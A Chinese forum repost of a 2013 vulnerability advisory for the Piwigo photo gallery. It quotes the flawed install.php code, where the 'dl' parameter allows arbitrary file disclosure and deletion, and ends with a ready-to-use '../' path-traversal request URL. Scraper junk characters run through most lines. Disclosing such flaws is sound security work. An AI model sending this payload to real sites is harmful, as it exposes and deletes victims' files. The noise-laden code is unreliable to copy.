找回密码
 立即注册
查看: 3045|回复: 0
打印 上一主题 下一主题

Piwigo任意文件泄露和任意文件删除漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-14 20:15:53 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Piwigo是用PHP编写的相册脚本。8 ^/ Q2 n7 ]! k

" L. j( F: k1 Q& W( U: wPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
7 q( g3 N7 Z  ]% l====================================================================6 d, {( N  d8 b
/install.php:! K8 P$ F7 f' g! Q8 I
-------------
; Z' E. r/ B5 n113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
, h+ F5 k: Q3 h/ |$ G/ d, C% U114: {
+ _  w; m4 m- c, Z) J% R" p115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];. H& v1 n; }2 W# X* ?1 o7 z; [% e3 w
116:   header('Cache-Control: no-cache, must-revalidate');
9 ~* E9 K8 ~8 T- p117:   header('Pragma: no-cache');
% w) z8 N  j4 @118:   header('Content-Disposition: attachment; filename="database.inc.php"');
) ~. z: I1 f2 ~- C) p  c' Q: W119:   header('Content-Transfer-Encoding: binary');
! J" T0 Q: A$ F. q120:   header('Content-Length: '.filesize($filename));
9 }. L. z. |) v' C( D9 K/ t121:   echo file_get_contents($filename);4 [, ?3 }; {* z  z  @
122:   unlink($filename);7 |7 w0 }: w# L) V' o( s
123:   exit();1 C2 E6 ]- k% t1 B  ]
124: }# {% W5 s& J9 i8 O: S9 A. k$ K
====================================================================5 T3 s. m; X6 S: F/ p/ [
  y5 ?3 j3 z" H, T* q" n8 v
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)& N  z& @8 e" A
           Apache 2.4.2 (Win32)- h+ a: b3 V, l! S9 Q$ y/ r8 m; \
           PHP 5.4.43 R& o, G, t  Y& {, g; M- a
           MySQL 5.5.25a
/ W5 s8 m  _! H: ^# j4 i- R 8 b, b& H3 w! T( X5 A' N
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
6 l4 L! d/ a4 ^$ _, K  L% R                            @zeroscience
) g" w" ~! M) x 6 l) P1 D( y: O* S- ]
Advisory ID: ZSL-2013-5127
# @2 S3 n- D* x1 gAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php  H- v) F! s) r* m5 Z. H$ w
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843$ B0 a; X5 y5 A& X4 n

& }7 d. e* J/ F, `- ], F( D# m15.02.2013$ L# X# b* Z4 h! d! E- x

1 X3 [$ R' T* e8 P--2 \! \8 d$ [. F- h9 q. G1 q
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
% [5 D4 a7 u2 ?; U  K! }3 Q
! ^3 U: Q$ Z- S$ l
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表